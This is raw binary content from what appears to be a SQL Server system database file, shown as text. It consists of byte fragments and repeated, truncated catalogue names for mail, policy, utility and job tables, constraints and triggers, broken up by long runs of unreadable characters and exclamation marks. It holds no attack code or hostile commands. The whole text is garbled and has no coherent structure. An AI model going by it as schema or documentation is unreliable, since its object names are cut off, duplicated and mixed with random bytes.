6_4
6_4
68
64
64
64
68
68
64
6=
64@
64
64
6=
68
6		4@	
6

4

64
6h
64
68
68
64
6h
64
68
68
64
68
6h
64
68
68
64
68
68
6=
68
68
6$ 
6		4@	
6

@4

6F4
680
6

h4

6$5
64
6*4
6*=E
6h4
64
68
68
68
6p4
64
6h
68
6p4
68
68
68
6p4
68
64
68
6p4
68
64
64
68
68
64
64
68
6
68
6=
6 4
64@
6
H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68U8:6h
68
6
6 4
6
6
68
6=
6=
6h 
6h 
64@
64@
68
6=
6


68
6
6
6	
6@4
6@4
6=
6h
64@
64@
6		4@	
68
6h
6@
60
6$
60
6$
6&#
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
6=d
60
60
6
6$
6$
68++
64
6b
6$
64
64
64
6@4
6@
6=
64
64
6$
68
68
6$
60
60
60
6
h
64
6	4	
6

4@

6@
64@
6
4@

64
6= 
6=(
68
60
60
64
64
68
68
60
68
6
4
6
b
68
64
64
64
6=
6@4
6@4
6@4
6		+	
6

+

6;$
68
64
64
64
64
6;
6;
6;
6		;	
6

+

6+"
6@4
68
64
64
68
68
64
64
64
6		4	
6

j


6j

6j
"
6

j
+

6@4
6@4
6+4
6+>
6;H
64
6@4
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68HA6+
6+
64
64
64
64
6		(4	
6

8

64
68 
6

8$

64
64
64
64
64(
64
64
64
64
64
6h*
6h*
6h*
6h*
64
64
64
64
6  0+ 
6!!4!
6""h*"
6##4#
6$$8,$
6%%@4%
6&&40&
6''82'
6((@4(
6))46)
6**88*
6++`4+
6,,@4,
6--@4-
6..4.
6//4</
60040
61141
62242
6334>3
6444@4
655@45
66646
6774B7
68848
6994D9
6::8F:
6;;h*;
6<<8J<
6==8N=
6>>@4>
64
64@
6+
6+
64
64
64
64
6		=	
6

h"

64
64#
6

h"

60%
64
64@
6+
6+
64
64
64
64
64
64@
6+
6+
64
64
64
64
6		4	
6

4

64
6;
6

4

6;
64
6;"
6;&
64
6*
6;2
64
64@
6+
6+
64
64
64
64
6		4	
6

4

6;
64
6

;

64
6;"
6;&
64
6*
6;2
6+
60
60
64
64
64
6;
6+
60
60
64
64
64
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68U
#64
64
6		4	
6

;

6;
6;
6

;

68
64
64
64
64
68
6=
6@4
6+
6+
6+$
6		.	
6

6

68
64
64
64
6+
68
64
64
6=
68
68
68
64
64
6j
6j
68
64
64
6j
6j

6j

6j

6j
$
6		j
-	
6

j6

6jC
6jP
6

j]

6jj
6jw
6j
6j
68
6@4
64
6b
68
64@
6T8
6T4
68
6@4
64
68
64
6+
64
64
64
68
68
64
68
6+
68
68
68
64
6@4
68
68
68
68
6>
6		h 	
68
68
68		
68


64
68
6@4
68
68
68	
64
64
68
64
68
68
68	
68

64
64
68
64
68
68
68	
68
64
64@
64@
6=
6		8	
68
64
64
64
68
68
68
6+
68
64
64
68
68
6+
68
64
64
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`68Uv%64
68
68
68
6+
68
64
64
64
68
6+
68
64
68
6+
68
68
68
68
68
68
68
68 
6		8$	
6

8(

68,
680
6

84

688
68
68
68
68
68
68
68
68 
6		8$	
6

8(

68,
680
6

84

688
68
64
64
68
68
68
68
68
6	8	
6	
8 

6
8$
6h(
6

+)

68
64
68
68
68
68
68
68
6	8 	
6	
8$

6
h(
6+)
68
68
64
64
64
6$
64
64
64
68
6$
64
6h(
6		h(	
6

4

6=)
601
64
6$
64
6$
64
6$
6h
6$
6$
64
64
6$
64
64
6$
64
64
68
68
6h
64
6=
6		=%	
6

8-

64
64
6$
6$
60
68
64
60
6=
6="
6@4
68
6$
60
68
64
60
6=
6="
6	@4	
64
6$
60
68
6=
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`)
N_"[)#2&bJDF__sysmail_s__is_in__16CE6296&φJDF__sysmail_s__is_ou__17C286CF&JDF__sysmail_s__last___18B6AB08&AϪJDF__sysmail_s__last___19AACF41&B@"JDF__sysmail_s__last___22401542&{94#JDF__sysmail_s__last___2334397B&b@JDF__sysmail_s__last___40C49C62&)x?JDF__sysmail_s__send___3FD07829&cJDF__sysmail_s__use_d__1F63A897&^oJDF__sysmail_se__port__1E6F845E&}:@JDF__sysorigin__maste__403A8C7D&DR>JDF__sysorigin__origi__3E52440B&
5JDF__sysproxyl__flags__35BCFE0A&`MSJDF__sysschedu__date___534D60F1&*ATJDF__sysschedu__date___5441852A&c5UJDF__sysschedu__versi__5535A963&JDF__sysmaintp__msx_j__0C1BC9F9&6JDF__sysmaintp__msx_p__0EF836A4&JDF__sysmaintp__logge__12C8C788&8bm4DF__sysssispackages&\Vn8DF__sysssispackages_2&hyhhJDF__sysmanage__is_sy__68687968&kK(JDF__syspolicy__date___02284B6B&oJDF__syspolicy__descr__031C6FA4&ݓJDF__syspolicy__creat__041093DD&JDF__syspolicy__is_na__0504B816&OJDF__syspolicy__is_sy__05F8DC4F&jJDF__syspolicy__manda__116A8EFB&D/JDF__syspolicy__is_sy__162F4418&RJDF__syspolicy__date___1FB8AE52&Ҭ JDF__syspolicy__execu__20ACD28B&!JDF__syspolicy__descr__21A0F6C4&"JDF__syspolicy__help___22951AFD&6?#JDF__syspolicy__help___23893F36&oc}$JDF__syspolicy__is_en__247D636F&q%JDF__syspolicy__creat__257187A8&e&JDF__syspolicy__is_sy__2665ABE1&!ncJDF__syspolicy__start__636EBA21&ZbdJDF__syspolicy__resul__6462DE5A&WeJDF__syspolicy__is_fu__65570293&kJDF__syspolicy__execu__6B0FDBE9&~4JDF__sysutilit__datab__347EC10E&+vC9JDF__sysutilit__datab__3943762B&d7:JDF__sysutilit__fileg__3A379A64&+;JDF__sysutilit__dbfil__3B2BBE9D&LC]`JDF__sysutilit__capac__605D434C&gQaJDF__sysutilit__free___61516785&0-dJDF__sysutilit__cpu_n__642DD430&i!eJDF__sysutilit__cpu_c__6521F869&fJDF__sysutilit__cpu_f__66161CA2&@
gJDF__sysutilit__cpu_a__670A40DB&egJDF__sysutilit__cpu_m__67FE6514&MhJDF__sysutilit__cpu_c__68F2894D&kJDF__sysutilit__insta__6BCEF5F8&1lJDF__sysutilit__insta__6CC31A31&j>mJDF__sysutilit__compu__6DB73E6A&bnJDF__sysutilit__compu__6EAB62A3&܆oJDF__sysutilit__insta__6F9F86DC&pJDF__sysutilit__insta__7093AB15&NχqJDF__sysutilit__compu__7187CF4E&{rJDF__sysutilit__compu__727BF387&4kJDF__sysutilit__date___086B34A6&X_	JDF__sysutilit__creat__095F58DF&JDF__sysutilit__is_gl__14D10B8B&"9(`JDF__sysutilit__dac_c__60283922&[]aJDF__sysutilit__dac_h__611C5D5B&bJDF__sysutilit__dac_u__62108194&ͥcJDF__sysutilit__dac_o__6304A5CD&cJDF__sysutilit__dac_u__63F8CA06&?dJDF__sysutilit__dac_o__64ECEE3F&xeJDF__sysutilit__dac_o__65E11278&6fJDF__sysutilit__dac_w__66D536B1&ZgJDF__sysutilit__dac_w__67C95AEA&#hJDF__sysutilit__dac_w__68BD7F23&\iJDF__sysutilit__dac_w__69B1A35C&ǥjJDF__sysutilit__dac_w__6AA5C795&kJDF__sysutilit__dac_w__6B99EBCE&	}JDF__sysutilit__is_vo__7DB89C09&B~JDF__sysutilit__is_vo__7EACC042&{JDF__sysutilit__is_co__7FA0E47B&JDF__sysutilit__is_co__009508B4&,JDF__sysutilit__is_fi__01892CED&&Q}JDF__sysutilit__is_fi__027D5126&_uqJDF__sysutilit__is_da__0371755F&eJDF__sysutilit__is_da__04659998&ѽYJDF__sysutilit__is_po__0559BDD1&r
JDF__sysutilit__is_vo__0A1E72EE&'JDF__sysutilit__is_vo__0B129727&`JDF__sysutilit__is_co__0C06BB60&JDF__sysutilit__is_co__0CFADF99&
JDF__sysutilit__is_fi__0DEF03D2&(JDF__sysutilit__is_fi__0EE3280B&DLJDF__sysutilit__is_mi__0FD74C44&}pJDF__sysutilit__is_mi__10CB707D&JDF__sysutilit__is_po__11BF94B6ilit__capac__605D434C&gQaJDF__sysutilit__free___61516785&9cJDF__sysutilit__num_p__6339AFF7&0-dJDF__sysutilit__cpu_n__642DD430&i!eJDF__sysutilit__cpu_c__6521F869&fJDF__sysutilit__cpu_f__66161CA2&@
gJDF__sysutilit__cpu_a__670A40DB&egJDF__sysutilit__cpu_m__67FE6514&MhJDF__sysutilit__cpu_c__68F2894D&iJDF__sysutilit__l2_ca__69E6AD86&jJDF__sysutilit__l3_ca__6ADAD1BF&kJDF__sysutilit__insta__6BCEF5F8&1lJDF__sysutilit__insta__z^dn<6X
\0RLt*$
b@Fh:
l"
4
Pr~
	x	.	V
(DJJf>`
I"
dIgս&wd.sysnotifications&ȃc&sysoperators&':8sysoriginatingservers&"BBsysoriginatingservers_view&&m1"sysproxies&4(sysproxylogin&C"6Dsysproxyloginsubsystem_view&30sysproxysubsystem&eQ&sysschedules&WHsysschedules_localserver_view&F$syssessions&_2(syssubsystems&\`Dsystargetservergroupmembers&7_8systargetservergroups&d].systargetservers&^8systargetservers_view&,le"systaskids&!H&{>trig_notification_delete&#2zFtrig_notification_ins_or_upd&O8trig_principalprofile&aDBtrig_sysjobs_insert_update&P6trig_sysmail_account&ݳV>trig_sysmail_attachments&TBtrig_sysmail_configuration&W.trig_sysmail_log&HU:trig_sysmail_mailitems&N6trig_sysmail_profile&d(QDtrig_sysmail_profile_delete&+PDtrig_sysmail_profileaccount&pS4trig_sysmail_server&LR<trig_sysmail_servertype&.APtrig_sysoriginatingservers_delete&)VLtrig_sysschedules_insert_update&i>trig_targetserver_insert&i<JUQ__sysorigi__57F15AAC0E0370DD&n'JUQ__sysdbmai__F87CA47793259FB4&Q*JUQ__sysdbmai__AEEEF1DB97C2620B&Ľ|-JUQ__sysdbmai__B2649B259C75E807&sBR8trig_backupset_delete&=yk,sysssispackages&Z>p8sysssispackagefolders&2qPU_sysssispackagefoldersuniquepath&s"sysssislog&)zDsyspolicy_management_facets&ro|:syspolicy_facet_events&W~@syspolicy_validate_events&KHsyspolicy_conditions_internal&$6syspolicy_conditions&P"Vsyspolicy_policy_categories_internal&4^Dsyspolicy_policy_categories&mRJsyspolicy_object_sets_internal&8syspolicy_object_sets&ADsyspolicy_policies_internal&.Tsyspolicy_insert_job_create_trigger&.Tsyspolicy_update_job_update_trigger&/Lsyspolicy_insert_policy_trigger&T:0Lsyspolicy_update_policy_trigger&^1Tsyspolicy_delete_job_delete_trigger&Ƃ2\syspolicy_instead_delete_policy_trigger&32syspolicy_policies&8˳4Rsyspolicy_insert_condition_trigger&q5Zsyspolicy_for_update_condition_trigger&6^syspolicy_after_update_condition_trigger&V
BFsyspolicy_fn_get_bad_filters&CJsyspolicy_target_sets_internal&:WE8syspolicy_target_sets&s{FVsyspolicy_target_set_levels_internal&WJDsyspolicy_target_set_levels&[PFsyspolicy_fn_eventing_filter&	PQFsyspolicy_fn_filter_complete&.DR`syspolicy_insert_target_set_level_trigger&XR8S`syspolicy_update_target_set_level_trigger&v,TTsyspolicy_insert_target_set_trigger&ʚ UTsyspolicy_delete_target_set_trigger&Vnsyspolicy_policy_category_subscriptions_internal&+X\syspolicy_policy_category_subscriptions&\Zsyspolicy_system_health_state_internal&=)_Hsyspolicy_system_health_state&vM`dsyspolicy_policy_execution_history_internal&&KfVsyspolicy_update_system_health_state&K?gRsyspolicy_policy_execution_history&>o3htsyspolicy_policy_execution_history_details_internal&"lbsyspolicy_policy_execution_history_details&xټqBsyspolicy_fn_get_type_name&rFsyspolicy_execution_internal&!sDsyspolicy_execution_trigger&\ju8syspolicy_event_queue&ixNsyspolicy_configuration_internal&yRz<syspolicy_configuration&EYH$Xsysutility_ucp_configuration_internal&0&Fsysutility_ucp_configuration&$'Tsysutility_ucp_policy_configuration&2*>sysutility_ucp_dacs_stub&V*Dsysutility_ucp_volumes_stub&
{+Hsysutility_ucp_computers_stub&F,Lsysutility_ucp_smo_servers_stub&-Hsysutility_ucp_databases_stub&.Jsysutility_ucp_filegroups_stub&/Hsysutility_ucp_datafiles_stub&*00Fsysutility_ucp_logfiles_stub&cT1Tsysutility_ucp_cpu_utilization_stub&Gr5Xsysutility_ucp_space_utilization_stub&nJMVsysutility_mi_configuration_internal&J2ODsysutility_mi_configuration&.HSlsysutility_mi_dac_execution_statistics_internal&V`sysutility_mi_session_statistics_internal&!Xdsysutility_ucp_snapshot_partitions_internal&ր]Vsysutility_mi_volumes_stage_internal&EbNsysutility_mi_cpu_stage_internal&psNsysutility_mi_smo_stage_internal&2`Xuhsysutility_mi_smo_objects_to_collect_internal&@wnsysutility_mi_smo_properties_to_collect_internalVrl(P"~.	Z		ZxP.

\FH"@\$
4zH
pt.H
<
t

n`*
Jd"\ʼF&z*sysmail_server&$2sysmail_servertype&]>TSYSMAIL_SERVERTYPE_TypeMustBeUnique&R54sysmail_unsentitems&#I_@sysmail_update_profile_sp&`]@sysmail_verify_account_sp&,JYLsysmail_verify_accountparams_sp&enZLsysmail_verify_addressparams_sp&x[Dsysmail_verify_principal_sp&׶l\@sysmail_verify_profile_sp&K,sysmultiobjrefs&wd.sysnotifications&, sysnsobjs&^,sysobjkeycrypts&<&sysobjvalues&ȃc&sysoperators&':8sysoriginatingservers&"BBsysoriginatingservers_view& sysowners&sysphfg&(syspriorities&sysprivs&&m1"sysproxies&4(sysproxylogin&C"6Dsysproxyloginsubsystem_view&30sysproxysubsystem&syspru&$sysprufiles&Z sysqnames&!e@sysmail_update_account_sp&.ֺjNsysmail_update_profileaccount_sp&gqRsysmail_update_principalprofile_sp&d8u.sysmail_start_sp&ڈ,v,sysmail_stop_sp&N]?	8sysmaintplan_subplans&Z.sysmaintplan_log&:sysmaintplan_logdetail&!Jo2sysmaintplan_plans&edsysmanagement_shared_server_groups_internal&\insysmanagement_delete_shared_server_group_trigger&Pjnsysmanagement_shared_registered_servers_internal&R!nRsysmanagement_shared_server_groups&vo\sysmanagement_shared_registered_servers&)zDsyspolicy_management_facets&ro|:syspolicy_facet_events&W~@syspolicy_validate_events&KHsyspolicy_conditions_internal&$6syspolicy_conditions&P"Vsyspolicy_policy_categories_internal&4^Dsyspolicy_policy_categories&mRJsyspolicy_object_sets_internal&8syspolicy_object_sets&ADsyspolicy_policies_internal&.Tsyspolicy_insert_job_create_trigger&.Tsyspolicy_update_job_update_trigger&/Lsyspolicy_insert_policy_trigger&T:0Lsyspolicy_update_policy_trigger&^1Tsyspolicy_delete_job_delete_trigger&Ƃ2\syspolicy_instead_delete_policy_trigger&32syspolicy_policies&8˳4Rsyspolicy_insert_condition_trigger&q5Zsyspolicy_for_update_condition_trigger&6^syspolicy_after_update_condition_trigger&V
BFsyspolicy_fn_get_bad_filters&CJsyspolicy_target_sets_internal&:WE8syspolicy_target_sets&s{FVsyspolicy_target_set_levels_internal&WJDsyspolicy_target_set_levels&[PFsyspolicy_fn_eventing_filter&	PQFsyspolicy_fn_filter_complete&.DR`syspolicy_insert_target_set_level_trigger&XR8S`syspolicy_update_target_set_level_trigger&v,TTsyspolicy_insert_target_set_trigger&ʚ UTsyspolicy_delete_target_set_trigger&Vnsyspolicy_policy_category_subscriptions_internal&+X\syspolicy_policy_category_subscriptions&\Zsyspolicy_system_health_state_internal&=)_Hsyspolicy_system_health_state&vM`dsyspolicy_policy_execution_history_internal&&KfVsyspolicy_update_system_health_state&K?gRsyspolicy_policy_execution_history&>o3htsyspolicy_policy_execution_history_details_internal&"lbsyspolicy_policy_execution_history_details&xټqBsyspolicy_fn_get_type_name&rFsyspolicy_execution_internal&!sDsyspolicy_execution_trigger&\ju8syspolicy_event_queue&ixNsyspolicy_configuration_internal&yRz<syspolicy_configuration&-,sysremotelogins&.&sysprocesses&/$sysperfinfo&0&sysopentapes&1(sysoledbusers&2$sysmessages&s"sysmembers&v(sysreferences&w$sysprotects&x*syspermissions&"sysobjectsnal&jvTUQ_syspolicy_policy_categories_name&4^Dsyspolicy_policy_categories&mRJsyspolicy_object_sets_internal&;HUQ_syspolicy_object_sets_name&8syspolicy_object_sets&ADsyspolicy_policies_internal&BUQ_syspolicy_policies_name&.Tsyspolicy_insert_job_create_trigger&.Tsyspolicy_update_job_update_trigger&/Lsyspolicy_insert_policy_trigger&T:0Lsyspolicy_update_policy_trigger&^1Tsyspolicy_delete_job_delete_trigger&Ƃ2\syspolicy_instead_delete_policy_trigger&32syspolicy_policies&8˳4Rsyspolicy_insert_condition_trigger&q5Zsyspolicy_for_update_condition_trigger&6^syspolicy_after_update_condition_trigger&V
BFsyspolicy_fn_get_bad_filters&CJsyspolicy_target_sets_internal&:WE\
b
t
<t&nz(p v<p	Z(
PT(

T

Nl40L
TzZ^:6		Z$\\*Dx`7`
LUY
R\\"U"U"Ue!e!$x.Px.Px.P
x.P	x.Px.Px.Px.Px.P	x.P
x.Px.Pzz]!]!]!]!]!]!]!]($'&m1&m1_2_233444j8j8j899':':~<Z" 5&5&,),),,T<T<I>I>I>	I>':''Dڎ'Dڎ'Dڎ'ҕ;Z@Z@Z@'	'''Dڎ'4P"P"mRmRAAA
AAA_<M_<M_<M_<M_<M_<M_<M_<M_<MEYH$/
S-rS-rS-rS-rS-rS-rNNNAAAElElElElElmRAAA	D0D0D0D0D04444,5,5,5=7=7=7=7a8a8a8a89999	9ε;ε;=======f_?CCVVVV\\\vM`vM`vM`vM`>o3h>o3hvvvvvvvvvvv	A
AAA_<M_<M_<M_<M_<M_<M_<M_<M_<MEYH$nJM.HS.HS.HSVVVVV2`Xu/
S-rS-rS-rS-rS-rS-rNNNAAAAX\GX\GX\GdMdMdMdMElElElElElmR	.z\<hJ> lN0j|^@	L."z\nP2,>	vX lNxp



t
V
R4


	f	H	*	:0

b
D
&
~`B$|^@"8


rTnP2ZdF(
		6~`JFMSMMJ)`-
a#P]g3_ARo?+!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!